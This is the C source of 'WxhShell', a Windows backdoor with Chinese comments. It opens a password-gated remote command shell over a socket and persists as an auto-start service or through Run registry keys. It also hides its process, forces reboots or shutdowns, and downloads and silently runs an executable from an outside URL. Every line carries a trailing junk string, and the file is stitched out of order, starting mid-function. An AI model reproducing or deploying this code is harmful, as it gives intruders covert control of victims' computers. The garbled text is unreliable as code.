    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp7*T8  
    else { 3@xn<eu  
    closesocket(wsh); [wKnJu  
    ExitThread(0); kC~\D?8E=  
    } zl~`>  
    break; 6R_G{AWLL  
    } dk}T&qZ~p  
  // 获取shell 7Uy49cs,  
  case 's': { gr]:u4}  
    CmdShell(wsh); HHd;<%q  
    closesocket(wsh); ca~nfo  
    ExitThread(0); @nIoYT='  
    break; }\+7*|  
  } q0* e1QL  
  // 退出 eAvOT$  
  case 'x': { 6KT]3*B   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }@VdtH  
    CloseIt(wsh); ue?e}hF  
    break; ~ti{na4W<  
    } J QSp2b@'H  
  // 离开 7&ty!PpD  
  case 'q': { A}K2"lQ#>,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ib$_x:OO"  
    closesocket(wsh); lN@SfM4\  
    WSACleanup(); !2]eVO  
    exit(1); df@r2 /Y  
    break; 6[cC1a3r:  
        } vd0;33$L  
  } ,LD[R1TU8  
  } urM=l5Sx  
1D@'uApi.  
  // 提示信息 fcDiYJC*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j A/xe  
} TCb 7-s  
  } _wvSLu<q  
^P)W/2  
  return; j^ y9+W_b  
} tXZE@JyuC  
s+9q`k^  
// shell模块句柄 V(/ @$&  
int CmdShell(SOCKET sock) bU3e*Er  
{ (~}P.?C8  
STARTUPINFO si; G:u-C<^'  
ZeroMemory(&si,sizeof(si)); AHg:`Wjv-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '!$g<= @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7bC1!x*qw  
PROCESS_INFORMATION ProcessInfo; ?<_yW#x6  
char cmdline[]="cmd"; K chp%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?ykQ]r6a<  
  return 0; tXlo27J  
} 1Z. D3@  
4$HU=]b6Tf  
// 自身启动模式 ~3 ,>TV  
int StartFromService(void) .TI =3*`G  
{ 8oAr<:.=  
typedef struct v$H=~m  
{ >%x N?%  
  DWORD ExitStatus; fMGL1VN  
  DWORD PebBaseAddress; /&PRw<}>_o  
  DWORD AffinityMask; EL--?<g  
  DWORD BasePriority; >a6{y   
  ULONG UniqueProcessId; ape \zZCV  
  ULONG InheritedFromUniqueProcessId; qM~;Q6{v  
}   PROCESS_BASIC_INFORMATION; NI^=cN,l  
|@Cx%aEKU  
PROCNTQSIP NtQueryInformationProcess; zk#NM"C+  
~ 9 F rlj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |$hBYw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k/U1 :9  
WAd5,RZ?  
  HANDLE             hProcess; Ib8*rL0p<L  
  PROCESS_BASIC_INFORMATION pbi; LIm{Y`XU  
<FaF67[Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8XS_I{}?  
  if(NULL == hInst ) return 0; HUP~  
nU^-D1s{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [ ;/4'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SVJL|S 3k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &?(<6v7  
!z EW)  
  if (!NtQueryInformationProcess) return 0; 9FGe (t <  
*wvd[q h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O~wZU Zf  
  if(!hProcess) return 0; pfs'2AFj  
r)4GH%+?fv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bSG}I|  
%3Ba9Nmid  
  CloseHandle(hProcess); [9hslk  
g?TPRr~$9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MXVQ90  
if(hProcess==NULL) return 0; R]LRgfi9  
5o v F$qn  
HMODULE hMod; D7X8yv1  
char procName[255]; &3@ {?K  
unsigned long cbNeeded; IdHyd Y1  
?.A~O-w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HITw{RPrW  
}fS`jq;  
  CloseHandle(hProcess); `f|Gw5R  
[Dzd39aKr  
if(strstr(procName,"services")) return 1; // 以服务启动 &1!T@^56  
BXzn-S  
  return 0; // 注册表启动 Bv=  
} C>}@"eK  
Q+ i  
// 主模块 z(o zMH  
int StartWxhshell(LPSTR lpCmdLine) &d%0[Ui`  
{ x>C_O\  
  SOCKET wsl; 5{PT  
BOOL val=TRUE; /i[1$/*  
  int port=0; b6]MJ0do  
  struct sockaddr_in door; 3dl#:Si  
?3duW$`  
  if(wscfg.ws_autoins) Install(); ?o>JX.Nl&7  
B'AU~#d  
port=atoi(lpCmdLine); XABB6J]  
goMv8d  
if(port<=0) port=wscfg.ws_port; , z-#B]  
\me'B {aa  
  WSADATA data; y;GwMi $KI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g,k} nkIT  
rDD,eNjG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '5f6 M^}|2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7o99@K,  
  door.sin_family = AF_INET; :l;SG=scx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w3<%wN>tE  
  door.sin_port = htons(port); 0gIJ&h6*f  
?q*,,+'0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PLV-De  
closesocket(wsl); 9%^IMUWA  
return 1; ji&%'h  
} ~;QzV?%  
(m~gG|n4  
  if(listen(wsl,2) == INVALID_SOCKET) { lihV! 1  
closesocket(wsl); fPpFAO  
return 1; i&di}x  
} f"Z2,!Z;  
  Wxhshell(wsl); q r<+@Q  
  WSACleanup(); *LZB.84  
FD1Z}v!5IJ  
return 0; =O.%)|  
"0V8i%a  
} m4m,-}KNi  
J ,s9,("  
// 以NT服务方式启动 ; *ZiH%q,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n N_Ylw  
{ 9w:F_gr  
DWORD   status = 0; ]lgI Q;r  
  DWORD   specificError = 0xfffffff; W3gBLotdg  
Vlf=gP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; us,~<e0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |eu:qn8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *a[iq`499  
  serviceStatus.dwWin32ExitCode     = 0; 8q"C=t7  
  serviceStatus.dwServiceSpecificExitCode = 0; te*|>NRS  
  serviceStatus.dwCheckPoint       = 0; ,|7!/]0&  
  serviceStatus.dwWaitHint       = 0; gm1 7VrC  
N t-8[J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !l7D1i~  
  if (hServiceStatusHandle==0) return; -*nd5(lY&  
HX`>" ?{  
status = GetLastError(); qt.Y6s:r_  
  if (status!=NO_ERROR) dBeZx1Dy  
{ /ygC_,mx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S [=l/3c  
    serviceStatus.dwCheckPoint       = 0; T1_qAz+  
    serviceStatus.dwWaitHint       = 0; ssUm1F\  
    serviceStatus.dwWin32ExitCode     = status; \Um &  
    serviceStatus.dwServiceSpecificExitCode = specificError; O={ ?c1i:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GEGg S&SM  
    return; Ir4M5OR\  
  } U 6`E\?d`  
+ 2j]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [$]Kp9YD  
  serviceStatus.dwCheckPoint       = 0; g-NfZj?  
  serviceStatus.dwWaitHint       = 0; $%Kyz\;7/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h+ggrwg'  
} }~bx==SF6!  
1=^edQ+   
// 处理NT服务事件,比如:启动、停止 BIn7<.&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;XDGlv%  
{ lDf:~  
switch(fdwControl) IV]2#;OO?  
{ %I^y@2A4`  
case SERVICE_CONTROL_STOP: |K11Woii  
  serviceStatus.dwWin32ExitCode = 0; Y)](jU%o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wQR0R~|M  
  serviceStatus.dwCheckPoint   = 0; rl0|)j  
  serviceStatus.dwWaitHint     = 0; N NTUl$  
  { 5n#@,V.O/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a'prlXr\4  
  } (q+EP(Q  
  return; `/+PZqdC  
case SERVICE_CONTROL_PAUSE: ?c0@A*:o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e"u89acp  
  break; ,b!]gsds  
case SERVICE_CONTROL_CONTINUE: F8En )#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dxx`<=&g  
  break; JZom#A. dt  
case SERVICE_CONTROL_INTERROGATE: eI:;l];G9  
  break; :WM[[LOaC  
}; ns}"[44C}l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*pWx]Y  
} =e!o  
 o8h1  
// 标准应用程序主函数 Yd>ej1<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xt%>XP  
{ 3w!,@=.q  
Ar iW&E  
// 获取操作系统版本 OO  /Pc  
OsIsNt=GetOsVer(); ]fb3>HOTJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KU5|~1t 4  
o?]g  
  // 从命令行安装 U|YIu!^  
  if(strpbrk(lpCmdLine,"iI")) Install(); |j> fsk~  
tI;pdR]  
  // 下载执行文件 zSM;N^X8?  
if(wscfg.ws_downexe) { hn p-x3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ztG!NZL  
  WinExec(wscfg.ws_filenam,SW_HIDE); N8K @ch3=P  
} Kulh:d:w  
HyX:4f|]'  
if(!OsIsNt) { rZSX fgfr  
// 如果时win9x,隐藏进程并且设置为注册表启动 -)dS`hM  
HideProc(); Ua](o H  
StartWxhshell(lpCmdLine); B(l8&  
} GT(nW|v  
else jn/ J-X=  
  if(StartFromService()) gZ&' J\  
  // 以服务方式启动 C?47v4n-'  
  StartServiceCtrlDispatcher(DispatchTable); 0{'%j~"  
else X GhV? tA  
  // 普通方式启动 I6B4S"Q5<  
  StartWxhshell(lpCmdLine); Rb=8(#  
hq[RU&\  
return 0; cN] ]J  
} *]]C.t-cd  
du0]LiHV  
:Tu%0="ye  
:4'Fq;%C  
=========================================== JAA{5@ST  
CTOrBl$70  
U 2@Mxw  
ocbNf'W;  
N-9qNLSP  
@*}?4wU^k  
" SGUu\yS&s  
LnY`f -H  
#include <stdio.h> F>!gwmn~  
#include <string.h> Mq [|w2.  
#include <windows.h> `E4OgO  
#include <winsock2.h> wn-{V kpm  
#include <winsvc.h> <xpHlLc  
#include <urlmon.h> xO nW~Z  
( /):  
#pragma comment (lib, "Ws2_32.lib") ``j8T[g  
#pragma comment (lib, "urlmon.lib") e9e7_QG_-  
$GcVI ;a  
#define MAX_USER   100 // 最大客户端连接数 JLZ=$d  
#define BUF_SOCK   200 // sock buffer MG6y  
#define KEY_BUFF   255 // 输入 buffer eKj'[2G@/  
ctB(c`zcY  
#define REBOOT     0   // 重启 YR$ )yl  
#define SHUTDOWN   1   // 关机 zEu15!~   
#vnJJ#uI|>  
#define DEF_PORT   5000 // 监听端口 |Vq&IfP  
3$hbb6N%6.  
#define REG_LEN     16   // 注册表键长度 k=o>DaEh(  
#define SVC_LEN     80   // NT服务名长度 SFdSA4D"  
nL[ zXl  
// 从dll定义API W<"{d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hExw}c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {#Vck\&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2*<'=*zaQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5/{";k)L+  
3jG #<4;J  
// wxhshell配置信息 xU5+"t~  
struct WSCFG { *[MK{m  
  int ws_port;         // 监听端口 !o k6*m  
  char ws_passstr[REG_LEN]; // 口令 Gd08RW  
  int ws_autoins;       // 安装标记, 1=yes 0=no m=7Z8@sX},  
  char ws_regname[REG_LEN]; // 注册表键名 vKCgtk  
  char ws_svcname[REG_LEN]; // 服务名 !R/- |Kjy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lxvRF93a.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^twJNm{99  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ".=LzjE<gv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5W29oz}-S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ag \d4y6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \h&ui]V  
QaMB=wVr  
}; AHA4{Zu[  
M zbs#v0  
// default Wxhshell configuration &D[pX|!  
struct WSCFG wscfg={DEF_PORT, h)746T )  
    "xuhuanlingzhe", P4~=_Hh  
    1, ggR--`D[  
    "Wxhshell", &K*x[  
    "Wxhshell", cx(W{O"Jb  
            "WxhShell Service", nfV32D|3  
    "Wrsky Windows CmdShell Service", '\iWp?`$  
    "Please Input Your Password: ", 53w@  
  1, ;N FTdP  
  "http://www.wrsky.com/wxhshell.exe", =b* Is,R/  
  "Wxhshell.exe" .M$}.v  
    }; 5r$ X  
+z2+z  
// 消息定义模块 ;Q0WCm\5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yQXHEB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RXj6L~vs5_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j+>#.22+  
char *msg_ws_ext="\n\rExit."; sMikTwR/^  
char *msg_ws_end="\n\rQuit."; O73 /2=1V  
char *msg_ws_boot="\n\rReboot..."; 3w B03\P  
char *msg_ws_poff="\n\rShutdown..."; N%,!&\L  
char *msg_ws_down="\n\rSave to "; 5}/TB_W7j  
Q6|~ks+Y  
char *msg_ws_err="\n\rErr!"; q~K KN /N  
char *msg_ws_ok="\n\rOK!"; =c>w  
guC7!P^  
char ExeFile[MAX_PATH]; 4p %=8G|  
int nUser = 0; rkW2_UTZE  
HANDLE handles[MAX_USER]; {0#p,l  
int OsIsNt; WLTraB[?  
b(Ev:  
SERVICE_STATUS       serviceStatus; 3/w) mY-o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > WsRCBA  
8?S)>-mwv  
// 函数声明 MwlhL?  
int Install(void); TyCMZsvM,  
int Uninstall(void); s] X]jfA.  
int DownloadFile(char *sURL, SOCKET wsh); 0uf'6<fR  
int Boot(int flag); *vss  
void HideProc(void); r95l.v  
int GetOsVer(void); "^~>aVuXf  
int Wxhshell(SOCKET wsl); 7D;g\{>M  
void TalkWithClient(void *cs); j3W)5ZX  
int CmdShell(SOCKET sock); E!eBQ[@  
int StartFromService(void); 'kD~tpZ  
int StartWxhshell(LPSTR lpCmdLine); #jja#PF]7  
O-M4NKl]6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B`/c Kfg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a09]5>*  
)cMW,  
// 数据结构和表定义 F_Q?0 Do0'  
SERVICE_TABLE_ENTRY DispatchTable[] = $=? CW(  
{ :PrQ]ss@C5  
{wscfg.ws_svcname, NTServiceMain}, !U@?Va~Zn  
{NULL, NULL} E,#J\)'z  
}; `+!GoXI  
M=}vDw]Q  
// 自我安装 `W8A *  
int Install(void) -}Jf4k#G  
{ 6tE<`"P!  
  char svExeFile[MAX_PATH]; =/k*w#j  
  HKEY key; O!b >  
  strcpy(svExeFile,ExeFile); COx<X\  
`dYM+ jpa  
// 如果是win9x系统,修改注册表设为自启动 -1Luyuy/`  
if(!OsIsNt) { 39W6"^q"o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6E!CxXUX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u= |hRTD=  
  RegCloseKey(key); }<EA)se"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s ^/<6kwO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y<G@7?   
  RegCloseKey(key); EcA@bZ0  
  return 0; ?w}E/(r  
    } $?l?  
  } sW":~=H  
} #K3A{ jb,  
else { H-Uy~Ry*T  
WH.5vrY Z  
// 如果是NT以上系统,安装为系统服务 M~/%V NX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Wf,SYx`s  
if (schSCManager!=0) }Om+,!_d  
{ TB]B l.  
  SC_HANDLE schService = CreateService r$~w3yN)v  
  ( oJF@O:A  
  schSCManager, {e4ILdXM  
  wscfg.ws_svcname, f!`,!dZgkd  
  wscfg.ws_svcdisp, 4MVa[ 0Y  
  SERVICE_ALL_ACCESS, <uugT9By  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QY,.|  
  SERVICE_AUTO_START, t} E 1NXW  
  SERVICE_ERROR_NORMAL, mW_<c,3D.  
  svExeFile, /"t*gN=wrF  
  NULL, x,\PV>   
  NULL, a*}ZT,V  
  NULL, Z=sCYLm  
  NULL, )+[{MR '  
  NULL YQ`GOP#/  
  ); 8F(_Vqu  
  if (schService!=0) eZ]4,,m  
  { P5+FZzQ  
  CloseServiceHandle(schService); Y&O<A8=8  
  CloseServiceHandle(schSCManager); I9ga8mG4-'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XD5z+/F<"0  
  strcat(svExeFile,wscfg.ws_svcname); lE+v@Kb:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V  `KXfY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =OIx G}*  
  RegCloseKey(key); 7XE/bhe%S  
  return 0; "}i\" x;s  
    } 8J:6uO c|  
  } %Dg]n 4f  
  CloseServiceHandle(schSCManager); #Nt? 4T<  
} C:n55BE9  
} Q(-:)3g[aL  
*`:zSnu  
return 1; iPMI$  
} T jO}P\p  
=N,Mmz%  
// 自我卸载 R$@|t?  
int Uninstall(void) }bG|(Wp9  
{ JJ3(0 +  
  HKEY key; K9FtFd  
FO{K=9O  
if(!OsIsNt) { P`HE3?r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~_P,z?  
  RegDeleteValue(key,wscfg.ws_regname); 7FMg6z8~  
  RegCloseKey(key); '&5A*X]d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qby!  
  RegDeleteValue(key,wscfg.ws_regname); N(v<*jn  
  RegCloseKey(key); A]2zK?|s  
  return 0; dA[Z\  
  } !GcH )  
} M0<gea\ =  
} iWu$$IV?-  
else { KaC+x-%K  
Y@._dliM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Int 6xoz  
if (schSCManager!=0) jb8v3L  
{ iIwMDlQ "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _r8.I9|  
  if (schService!=0) qZlb?b"  
  { l6.z-Qw  
  if(DeleteService(schService)!=0) { NAjK0]SRY  
  CloseServiceHandle(schService); T~UKWAKX}  
  CloseServiceHandle(schSCManager); RYD V60*O6  
  return 0; _f%Wk>A4  
  } lH/d#MT   
  CloseServiceHandle(schService); ajuwP1I  
  } YLSp$d4y  
  CloseServiceHandle(schSCManager); Z |uII#lq  
} 'G3B02*  
} /#M|)V*wn  
*P&ZE   
return 1;  Hq h  
} *p{wC r  
8Letpygm  
// 从指定url下载文件 WRQJ6B  
int DownloadFile(char *sURL, SOCKET wsh) Vd[[<  
{ r{.DRbn  
  HRESULT hr; Wa%Zt*7  
char seps[]= "/"; m/sAYF"  
char *token; <4,>`#NEo  
char *file; l|[cA}HtB  
char myURL[MAX_PATH]; a_/\.  
char myFILE[MAX_PATH]; KwOn<0P  
>h/J{T(P>h  
strcpy(myURL,sURL); !L"3Otd  
  token=strtok(myURL,seps); \w{x- }  
  while(token!=NULL) ~HsPYc8Fz  
  { .,[zI@9  
    file=token; ;w@PnY  
  token=strtok(NULL,seps); }zi:nSpON  
  } M@S6V7  
CF3Z`xD  
GetCurrentDirectory(MAX_PATH,myFILE); }wrZP}zM>  
strcat(myFILE, "\\"); ,{A-<=6t  
strcat(myFILE, file); bS _!KU  
  send(wsh,myFILE,strlen(myFILE),0); d ! A)H<Zt  
send(wsh,"...",3,0); [>+(zlK"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q+E%"`3V4l  
  if(hr==S_OK) T<06y3sN  
return 0; ,x}p1EZ  
else w@7NoD=  
return 1; KK`P<^8J  
Er?Wg09  
} k2l(!0o|;  
CZv.$H"lW  
// 系统电源模块  ] L4B  
int Boot(int flag) j8?z@iG  
{ 3!&lio+<  
  HANDLE hToken; ;=1]h&S  
  TOKEN_PRIVILEGES tkp; 7f_4qb8  
8'?V5.6?|~  
  if(OsIsNt) { DoAK]zyJA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :^FOh*H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1SeDrzLA  
    tkp.PrivilegeCount = 1; (UPkb$Qc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3}}~(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d paZ6g  
if(flag==REBOOT) { 2`/JT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wy"^a45h  
  return 0; 0PD]#.+  
} R| t"(6  
else { |U%S<X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O/$pT%D1x  
  return 0; f m.-*`ax  
} M0DdrL/ L  
  } &mDKpYrB  
  else { \[oU7r}?/V  
if(flag==REBOOT) { &bBK#d*-u?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7yxZe4~|#  
  return 0; u&1n~t`  
} \Rop~gD  
else { Gd1%6}<~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s2L|J[Y"s  
  return 0; 'h_PJ%  
} !1K<iz_8  
} VYI%U'9Q  
vU LlAQG  
return 1; IwhZzw w  
} S',i  
kxp$Nnk  
// win9x进程隐藏模块 'CsD[<  
void HideProc(void) Q3,`'[ F  
{ _@jBz"aq\  
O79;tA<k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?I&ha-."  
  if ( hKernel != NULL ) |3W\^4>,  
  { .j:[R.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +ia  F$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SC)4u l%  
    FreeLibrary(hKernel); V*xT5TljS-  
  } {ecmOxKP}  
0{g@j{Lbz  
return; I^ sWf3'db  
} YG$2ySkDhE  
tJo,^fdfv  
// 获取操作系统版本 zd AqGQfc  
int GetOsVer(void) F;Ms6 "K  
{ =cE:,z ;g  
  OSVERSIONINFO winfo; R4GmUCKB=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z{RRhJ  
  GetVersionEx(&winfo); mz;S*ONlV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?#idmb}(  
  return 1; 6rP[*0[  
  else #k5WTcE  
  return 0; _S5\5[^  
} eW#U<x%P  
awN{F6@ZE  
// 客户端句柄模块 Z<6xQTx  
int Wxhshell(SOCKET wsl) Vd^_4uqnV  
{ 5f2ah4 g  
  SOCKET wsh; t_5b  
  struct sockaddr_in client; cy8+@77  
  DWORD myID; ysD @yM,  
NKB,D$!~&  
  while(nUser<MAX_USER) Vc|r(lM  
{ &n+3^JNl  
  int nSize=sizeof(client); j%Mz;m4y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P]gksts9f.  
  if(wsh==INVALID_SOCKET) return 1; BFmYbK  
zvB!=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tyFhp:ZB  
if(handles[nUser]==0) yaV=e1W  
  closesocket(wsh);  c'?4*O  
else [?$ZB),L8  
  nUser++; 0 ;kcSz  
  } Z)Y--`*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *F/uAI^)  
B MU@J  
  return 0; 0:UK)t)3I  
} =0 W`tx  
?n)r1m  
// 关闭 socket rBLkowDP*  
void CloseIt(SOCKET wsh) 6=o@X  
{ f)hs>F  
closesocket(wsh); '0x`Oh&PK  
nUser--; &P{  
ExitThread(0); /l_ $1<c  
} 0.S].Y[  
|g]TWKc*  
// 客户端请求句柄 Q>f^*FyOw<  
void TalkWithClient(void *cs) Q/r0p>  
{ }ny ,Nl  
L'=2Uk#.D  
  SOCKET wsh=(SOCKET)cs; ?P4@U9i  
  char pwd[SVC_LEN]; -IhFPjQ  
  char cmd[KEY_BUFF]; $~c?qU  
char chr[1]; 3?I^D /K^  
int i,j; x' *,~u  
+F q`I2l|  
  while (nUser < MAX_USER) { \ &1)k/  
[z#C&gDt  
if(wscfg.ws_passstr) { g/,fjM_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 33x3zEUt6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H pXMPHd  
  //ZeroMemory(pwd,KEY_BUFF); A3ad9?LR[R  
      i=0; FSv')`}  
  while(i<SVC_LEN) { a6=mE?JTB  
JPL8fX-w  
  // 设置超时 86O"w*9  
  fd_set FdRead; s mub> V  
  struct timeval TimeOut; 2f\;#-  
  FD_ZERO(&FdRead); :/fG %e  
  FD_SET(wsh,&FdRead); x][vd^iW  
  TimeOut.tv_sec=8; o~!4&  
  TimeOut.tv_usec=0; HH+R47%*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s>z$_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $@d`Kz;  
`EVTlq@<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j-|YE?AA  
  pwd=chr[0]; GXB4&Q!C  
  if(chr[0]==0xd || chr[0]==0xa) { RL/~E xYC  
  pwd=0; ;hR!j!3}  
  break; Y W_E,A>h  
  } <$Q\vCR  
  i++; 4S|! iOY  
    } ])h={gI  
G?12?2  
  // 如果是非法用户,关闭 socket pv039~Sud  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q]q(zUtU  
} j{N;2#.u  
Z'dY,<@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TuY{c%qQ:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \W;~[-"#  
\V`O-wcJ]S  
while(1) { @OAX#iQl  
)%%RI_J T  
  ZeroMemory(cmd,KEY_BUFF); cAC2Xq  
eU_|.2  
      // 自动支持客户端 telnet标准   R-]QU`c  
  j=0; ep<Ad  
  while(j<KEY_BUFF) { vai.",b=n6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7t` <`BY^  
  cmd[j]=chr[0]; x-+[gNc 6  
  if(chr[0]==0xa || chr[0]==0xd) { vFY/o,b \  
  cmd[j]=0; pW O-YZ#+  
  break; xG0IA 7  
  } w=\Lw+X  
  j++; VA.jt}YGE  
    } GyJp! xFB  
I$0`U;Xd  
  // 下载文件 5P{dey!  
  if(strstr(cmd,"http://")) { K !8+~[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =BY)>0?z  
  if(DownloadFile(cmd,wsh)) =:`1!W0I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zNRoFz.  
  else lqA U5K{wQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l;U9dO}/[  
  } D h]+HF  
  else { $1oU^V Y  
]+)z}lr8 C  
    switch(cmd[0]) { N%6jZmKip  
  %*OKhrM  
  // 帮助 VuFM jY  
  case '?': { LfyycC2E  
